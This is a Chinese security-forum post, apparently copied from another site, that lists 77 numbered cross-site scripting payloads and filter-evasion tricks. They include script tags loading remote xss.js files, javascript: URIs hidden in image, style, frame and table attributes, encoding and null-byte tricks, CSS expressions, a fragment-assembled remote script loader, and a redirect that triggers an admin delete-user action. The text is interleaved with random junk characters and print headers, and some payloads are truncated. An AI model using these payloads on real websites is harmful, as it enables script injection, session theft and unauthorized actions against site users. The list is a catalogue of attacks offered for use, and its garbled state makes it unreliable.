貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。9 M" _! f* ?, r1 l
(1)普通的XSS JavaScript注入
. e+ y: f/ r8 N* R% m<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
5 o O2 Z' W" q(2)IMG标签XSS使用JavaScript命令+ u- q2 R5 }- l/ E
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>* h. Q4 V% J8 B3 `% v2 @) D7 c1 f
(3)IMG标签无分号无引号) E f3 N% D3 _ z" U7 u5 X
<IMG SRC=javascript:alert(‘XSS’)>
+ e/ x3 X5 `. L9 U9 s(4)IMG标签大小写不敏感/ x# x- K; c2 M) a/ t
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
4 X) [ ^$ e0 N2 h/ z8 l(5)HTML编码(必须有分号)* @% f5 P, X7 U
<IMG SRC=javascript:alert(“XSS”)>
2 u* s7 e! _% U/ }(6)修正缺陷IMG标签% q& F# E0 [: i/ r
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
$ W+ a: x, r- K$ m, T, s+ u" \2 b
; w7 t2 y5 D3 I! I1 o# X* _
& E4 a1 b, g& |7 T/ i6 K: {) G(7)formCharCode标签(计算器)
* [* q0 a6 N$ b/ `<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
( S) ?8 A$ n% q( C5 G(8)UTF-8的Unicode编码(计算器)6 p j6 B6 Y* z
<IMG SRC=jav..省略..S')>
2 j0 G0 B. @* g! W3 `1 v& L$ f8 ^9 E$ V(9)7位的UTF-8的Unicode编码是没有分号的(计算器)* ?* \( _5 [/ [
<IMG SRC=jav..省略..S')>
' A$ L1 @3 k0 q, J; x(10)十六进制编码也是没有分号(计算器)
6 _# R1 J, X- G" r<IMG SRC=java..省略..XSS')>
( [3 A$ d# O2 D/ N+ ^& O0 c/ v% O' l(11)嵌入式标签,将Javascript分开
- z0 H9 Z( T, P<IMG SRC=”jav ascript:alert(‘XSS’);”>
$ i& M/ @( p: b* r9 q(12)嵌入式编码标签,将Javascript分开
: i6 i& d5 @6 g g) [) T O<IMG SRC=”jav ascript:alert(‘XSS’);”>
5 J* R& O O8 s) r8 J: p1 L: i(13)嵌入式换行符
6 B1 x3 T6 T0 X' l( L( p4 F* G<IMG SRC=”jav ascript:alert(‘XSS’);”>( L2 t8 Y; {& ~! q/ M
(14)嵌入式回车, g3 X* G$ _8 Y" m2 ^: z$ N
<IMG SRC=”jav ascript:alert(‘XSS’);”>
+ [0 U7 v# |1 v" a# S# I6 z(15)嵌入式多行注入JavaScript,这是XSS极端的例子6 u6 a2 [/ | p1 a- ]* m
<IMG SRC=”javascript:alert(‘XSS‘)”>; t7 Z0 }3 j% p+ o9 N7 P
(16)解决限制字符(要求同页面); u; V5 T8 v# _/ {
<script>z=’document.’</script>, Z. U9 Q T# s6 t: e8 ?2 h& e
<script>z=z+’write(“‘</script># @+ d" _( P7 U: G. E: f8 t
<script>z=z+’<script’</script>/ V6 P W, f# r& a+ w' U7 \& S
<script>z=z+’ src=ht’</script>5 @. |& |0 K6 ~# d. t
<script>z=z+’tp://ww’</script>
/ o" O% Q) s/ R& ]0 k ^9 }7 T) U<script>z=z+’w.shell’</script>5 o* K, ~: B* A
<script>z=z+’.net/1.’</script>& f% @( X5 g8 F# L t, v
<script>z=z+’js></sc’</script>
( X9 T; ?( y6 J& t<script>z=z+’ript>”)’</script>0 x/ R+ p, f0 _8 n
<script>eval_r(z)</script>; k' J% v1 Z" j' L2 f- Z5 J
(17)空字符12-7-1 T00LS - Powered by Discuz! Board
/ x Q8 J+ Q. shttps://www.t00ls.net/viewthread ... table&tid=15267 2/6 L6 l# ~, v- v9 U- {1 D
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
# q8 i5 ] Y& R, T1 ?" e) `8 x& ?(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用6 o2 `* S8 B! R6 D1 q
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out0 |& V1 x* `: G" \' M0 L9 b
(19)Spaces和meta前的IMG标签
; |8 g) j. _9 E& ?, d. h7 W<IMG SRC=” javascript:alert(‘XSS’);”>' s4 Z: ?; e1 Y' g& ^2 V1 T- F
(20)Non-alpha-non-digit XSS0 @+ m) @' x7 ]
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
- c+ H* E8 T7 k' l/ D+ z- `& h U(21)Non-alpha-non-digit XSS to 25 N# L$ B3 d# K& Y$ q. v
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
% H% [2 \) \ l( @(22)Non-alpha-non-digit XSS to 3
) N* Q/ P# e* h( f$ r3 @<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
9 n2 v, V+ H/ R; V5 l% ]! {1 m/ j; [(23)双开括号
5 T# d" h/ R; H# L* C9 Q<<SCRIPT>alert(“XSS”);//<</SCRIPT>
% i* R: I0 T; h6 U5 b5 q(24)无结束脚本标记(仅火狐等浏览器)
- b3 e7 q1 a- p7 Z0 ~; E<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>' |( N) N7 D( q4 [
(25)无结束脚本标记2. G1 a8 z3 P6 ^ o+ f9 x5 R
<SCRIPT SRC=//3w.org/XSS/xss.js>) w$ i- c# E- j8 _
(26)半开的HTML/JavaScript XSS
+ v n- t3 m; H$ o<IMG SRC=”javascript:alert(‘XSS’)”
+ S+ I" }; V+ f/ i' N% Z* M) L(27)双开角括号
1 I s7 B! D3 L0 m* d8 b<iframe src=http://3w.org/XSS.html <& \* @" L5 M! _# R7 Z3 N
(28)无单引号 双引号 分号
8 F. ?. Z5 k* a: `" Y0 C( N<SCRIPT>a=/XSS/
$ y& N$ N8 | Q7 w+ R* D7 r ?: Oalert(a.source)</SCRIPT>
* d g% }- b f2 t# |(29)换码过滤的JavaScript
5 k; J' B+ k: X% Y$ D( `* G5 O\”;alert(‘XSS’);//5 I2 d }9 ]% Q
(30)结束Title标签
: d2 R: g. u' L/ A: q. p</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
3 C n: L* G( g0 m/ L; R2 ]9 Z) O(31)Input Image
4 p6 X9 Y4 r: Z: J6 {/ W<INPUT SRC=”javascript:alert(‘XSS’);”>
- ~3 n# r) E! u; c, m(32)BODY Image6 G# V! k' [% u. C; K& b: L, z
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>9 t6 j4 y9 i9 \* i3 x. R
(33)BODY标签
- t; @; z" i. r) D<BODY(‘XSS’)>
* h& G$ J# I# z" I% q(34)IMG Dynsrc
% H& s4 L1 t8 n/ M<IMG DYNSRC=”javascript:alert(‘XSS’)”>
k }) {+ J E: k/ r4 H(35)IMG Lowsrc( N( L5 Q7 o: @* `7 Q
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
/ q8 H0 u' U6 D6 Q. H0 U5 h(36)BGSOUND1 A+ b& t$ d: E4 @) r G: G
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
7 G% G% `6 D' Y' S(37)STYLE sheet7 ^ a Z9 C3 Z P0 R% ^3 U
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>' V) N- G& G; X9 G' t: l" d% s
(38)远程样式表
$ D0 T0 V+ g( q+ J1 B<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
& `% H& R! q& B) e! N" [, j(39)List-style-image(列表式)
2 ?9 b* g' X9 V' w: J" J<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
- i9 \$ w! s3 W5 @: q(40)IMG VBscript
* p/ T3 R; r8 i7 S<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
* j) e# R* z' v/ P1 d- N& g(41)META链接url
% u5 s. }+ A7 x- U" z3 a) B
( }* w6 j* _# L3 O' U3 }# z# P
* n: P- w6 N' T7 z. o. j<META HTTP-EQUIV=”refresh” CONTENT=”0;
6 _8 _* ^; m7 x9 D0 [! a0 D- C; M! SURL=http://;URL=javascript:alert(‘XSS’);”>
0 E {: b/ D% ](42)Iframe
" h S9 w! m1 l. p6 \1 s<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>9 a, k" Q1 s4 A P2 b% @; f
(43)Frame9 t( B, m/ {8 K6 T/ A( {% h) b
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
& f$ z0 @: v8 w0 E* Q# n6 e& N: Lhttps://www.t00ls.net/viewthread ... table&tid=15267 3/6$ {& h0 ^, A m: Q/ G! Q* ? H- L
(44)Table
% r& n( t% F1 _! b. T# T9 C6 j, l<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
$ _/ R1 N D1 `* G) }8 K H1 J(45)TD( |; H' l" H( \7 A0 I# P
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>- S; Z; I1 \& C, z' ?: |! U5 M% G
(46)DIV background-image( \& I) L# e3 R/ g
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
3 J( }) ], t y; M* f9 H! v(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-
. [6 w1 B( U$ C/ I3 U8&13&12288&65279)
, G8 g' y7 u: T- E<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>+ r O- Z( o* b. [0 c
(48)DIV expression
6 M% \/ L& M7 h2 b<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
3 T* E {' w& R: ?; o8 P$ Z" f(49)STYLE属性分拆表达
3 l7 }) ?- b1 f+ u<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>: O: T- O( Y6 ?" |0 A
(50)匿名STYLE(组成:开角号和一个字母开头)
' _2 r" s! @+ X6 i, w, U& b<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>6 K8 n3 Y a# M% w, E! A
(51)STYLE background-image% S L' X; p) I/ ]4 O$ ~
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
& [) O1 c& \* z4 e. WCLASS=XSS></A>$ [5 |8 C) x+ C
(52)IMG STYLE方式
; [ U7 h* H) Q: Iexppression(alert(“XSS”))’>
/ c( s3 v" ?. m5 z' y(53)STYLE background# z2 u: X1 _3 V5 D
<STYLE><STYLE
) p4 g& N+ j3 G( q1 d( u9 j0 btype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
5 L3 P g. n+ a' F7 u(54)BASE
' |: V9 H( M4 D& ^! n3 ]<BASE HREF=”javascript:alert(‘XSS’);//”>) c* r1 e8 ?7 v [5 t1 h
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
4 q; k( s0 j' L" f<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>3 q$ P* k3 F# r
(56)在flash中使用ActionScrpt可以混进你XSS的代码
: x2 K" A( f. `a=”get”;/ D7 m( d! P0 I- a8 z' e t$ a
b=”URL(\”";1 g& q8 f: p) O0 \, h: g
c=”javascript:”;) Q# ?% ^) \4 ?3 @3 _
d=”alert(‘XSS’);\”)”;1 l6 ^3 i/ j7 O, u O) Q
eval_r(a+b+c+d);. L" h9 }+ ?9 v& z6 F$ |, l
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上4 O/ E9 `1 Q. v4 Z0 m- a
<HTML xmlns:xss>( s7 ?* x0 H" }* M: `7 A
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
: `5 G& U- v0 R) R<xss:xss>XSS</xss:xss>3 _0 l4 _% l& d0 N2 {; g
</HTML>
5 A% o9 B; e5 G$ A# K4 S$ y(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
D6 u' U$ {% u3 i- A, w<SCRIPT SRC=””></SCRIPT>
' ]1 u% {. |% j' S' h(59)IMG嵌入式命令,可执行任意命令
+ j; z6 S+ A3 X& h) N<IMG SRC=”http://www.XXX.com/a.php?a=b”>
* Y$ W o/ T! E0 v" D(60)IMG嵌入式命令(a.jpg在同服务器)! s# }- K4 G$ }! Z. q" W3 c
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser5 K5 v1 ]" P6 k; Z ^
(61)绕符号过滤, g7 _5 w0 x% }, z& I1 g/ m. T
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
4 j: k. q) w+ K# H(62) V0 z; B2 x0 t. _( y8 i1 V
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
, L8 I4 k2 o4 D" Z(63)
$ Q3 J" v5 g" Y: d5 w, W R# }8 A<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
& V) s0 c+ Z! v' c( ?; @: ](64)
9 D' e; B' ]) ^/ c: g K<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
/ `9 L: o3 L7 G) {# K1 ](65)
$ m% m6 _ E) V) K2 X# [* J<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
: B* F' H) O$ X9 a ~9 u. A$ S(66)12-7-1 T00LS - Powered by Discuz! Board% X( C9 Q0 Z( ?# y$ A4 |7 W! ~: n6 D
https://www.t00ls.net/viewthread ... table&tid=15267 4/6* m h8 c2 @' S
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
; `3 ` c. p$ I) H i* w8 o& R(67)! {7 Y6 c* b# g- E5 A
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”>
0 ?# g1 C* D, e1 j</SCRIPT>8 `) y2 r* ~: x5 f0 {
(68)URL绕行, H0 r: g3 V- S
<A HREF=”http://127.0.0.1/”>XSS</A>
- z- B5 r( h( Y7 O% ?(69)URL编码
* H' P$ W9 L& |$ K( J4 \1 k( o<A HREF=”http://3w.org”>XSS</A>
5 R3 r% Q' g3 W(70)IP十进制
+ M/ A% Z I2 i6 v/ T# ^<A HREF=”http://3232235521″>XSS</A>
5 C% [. L; U, I5 j4 k/ R(71)IP十六进制: f" d3 h4 a$ ^5 c4 a
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
- D d' ?. D6 r$ p(72)IP八进制4 k; }# i% L! M) Y7 c; H: I) j
<A HREF=”http://0300.0250.0000.0001″>XSS</A>0 s, ?. o3 r& f/ h7 q5 u
(73)混合编码
( i2 T* {- o0 _: x4 o6 ` e<A HREF=”h
' j& M* m' g2 ^' y7 ptt p://6 6.000146.0×7.147/”">XSS</A>4 J" i' ?) K* S- y* F3 f
(74)节省[http:]
2 t/ R& W/ I, e" K<A HREF=”//www.google.com/”>XSS</A>
- m7 _7 t3 z: t' S" i(75)节省[www]
+ M; L0 z0 G2 S* Y<A HREF=”http://google.com/”>XSS</A>
6 f( B6 M6 p5 o8 z0 ^(76)绝对点绝对DNS- L7 e2 W/ | ~
<A HREF=”http://www.google.com./”>XSS</A>
3 S3 {3 K9 h3 n% p* v. r. k) H(77)javascript链接4 J- H* k( s" v! z; P
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
: {$ c& f' Y. k8 E) F3 ?6 G
5 D, o$ u( Q' W, G( h8 I原文地址:http://fuzzexp.org/u/0day/?p=14
1 o" W$ w' A( h. e+ a9 ^( `0 g
) p( x9 b- N3 c+ [6 t! Z |